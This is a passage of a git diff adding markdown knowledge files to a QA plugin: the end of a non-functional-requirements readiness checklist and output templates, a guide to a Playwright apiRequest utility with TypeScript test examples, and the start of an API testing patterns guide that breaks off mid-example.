+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
